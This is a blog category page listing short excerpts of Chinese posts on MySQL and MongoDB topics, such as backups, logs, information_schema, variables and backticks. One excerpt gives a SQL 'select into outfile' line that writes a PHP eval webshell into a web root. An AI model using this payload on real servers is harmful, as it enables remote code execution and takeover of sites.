数据库
qq_29566629
热爱生活,热爱安全,热爱编程
展开
-
通过sql语句统计特定字段出现次数并排序
sql原创 2022-06-30 15:24:23 · 3718 阅读 · 0 评论 -
mysql 备份与还原
mysql 备份和还原原创 2022-06-24 11:15:22 · 204 阅读 · 0 评论 -
MongoDB 初识
和redis一样,是一种nosql数据库,默认端口是27017mongocola是一种图形化的管理工具:MongoDB安装时不添加任何参数,默认是不开启权限验证的,登录的用户可以对数据库任意操作而且可以远程访问数据库。在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息。当admin.system.users一个用户都没有时,即使开启了权限验证,如果没有在admin数据库中添加用户,此时不进行任何认证还是可以做任何操作,直到在admin.原创 2022-03-06 13:09:08 · 2462 阅读 · 0 评论 -
数据库 CURB
CRUD是指在做计算处理时的增加**(Create**)、读取查询(Retrieve)、更新(Update)和删除(Delete)几个单词的首字母简写。主要被用在描述软件系统中DataBase或者持久层的基本操作功能。转载 2022-03-06 12:40:13 · 118 阅读 · 0 评论 -
select into outfile
这个功能在写入shell的过程中可以试试,比如:select ‘<?php @eval($_POST[value]);?>’ into outfile ‘c://phpstudy//www//shell.php’但是一般都会被禁止原创 2022-03-03 17:09:13 · 234 阅读 · 0 评论 -
mysql远程连接
第一种方式:运行上面语句会又一个报错:ERROR 1062 (23000): Duplicate entry ‘%-root’ for key ‘PRIMARY’不用管,直接flush privileges;转载 2022-03-02 17:06:53 · 58 阅读 · 0 评论 -
mysql 中的like语句和正则表达式
like语句正则表达式原创 2022-03-02 14:09:40 · 514 阅读 · 0 评论 -
mysql 查询日志和错误日志
介绍MySQL中的参数general_log用来控制开启、关闭MySQL查询日志,参数general_log_file用来控制查询日志的位置。所以如果你要判断MySQL数据库是否开启了查询日志,可以使用下面命令。general_log为ON表示开启查询日志,OFF表示关闭查询日志。重点总结:MySQL的日志可以通过不同的设置方式,存放在mysql.general_log表里、默认的data文件里、自己指定的文件夹里验证可以看到默认情况下查询日志是关闭的,默认路径在MySQL的安装目录下的dat原创 2022-03-02 11:23:19 · 598 阅读 · 0 评论 -
MySQL information_schema数据库常用介绍
最常用的有三个表:SCHEMATA 主要存放数据库的名称(schema_name)TABLES 主要存放所有数据库的表的信息(table_name,table_schema)COLUMNS 主要存放所有数据表的列的信息(table_name,table_schema,column_name)先看一下各表的表结构:图中标红的就是最常用的几个字段...原创 2022-02-08 10:02:34 · 567 阅读 · 0 评论 -
MySQL 中@和@@的区别
MySQL的@与@@区别@x 是 用户自定义的变量 (User variables are written as @var_name)@@x 是 global或session变量 (@@global @@session )@@查看全局变量:select @@log_error;原创 2022-02-08 09:20:33 · 1205 阅读 · 0 评论 -
MySQL 元数据
需求描述:什么是mysql的元数据?metadata?概念解释:简单来说:任何描述数据库的数据就是数据库的元数据库(与数据库中存在的内容相对)比如,用于描述一个冰箱是如何构成,怎么使用的就是冰箱的元数据。冰箱是个对象,同时把冰箱换成是数据库也就是一样的了。对数据库来说,数据库的名字,列的名字,表的名字都是元数据,用户名,版本名,也都是。还是冰箱的例子,冰箱的各个部分叫什么,都是元数据,冰箱里面装的,才是真正的数据。...原创 2021-07-14 09:36:57 · 426 阅读 · 0 评论 -
mysql中的反引号
首先引入MySQL语句中的保留字概念:这些是常见的保留字。尽量不要使用保留字作为数据库名,表名或者列名。如果使用了非要使用保留字,例如:SELECT `select` FROM `test` WHERE select='字段值'在test表中,有个select字段,如果不用反引号,MYSQL将把select视为保留字而导致出错,所以,有MYSQL保留字作为字段的,必须加上反引号来区分。引号一般用在字段的值,如果字段值是字符或字符串,则要加引号,如:select=‘字段值’不加反引号建的表不原创 2021-07-12 11:17:34 · 233 阅读 · 0 评论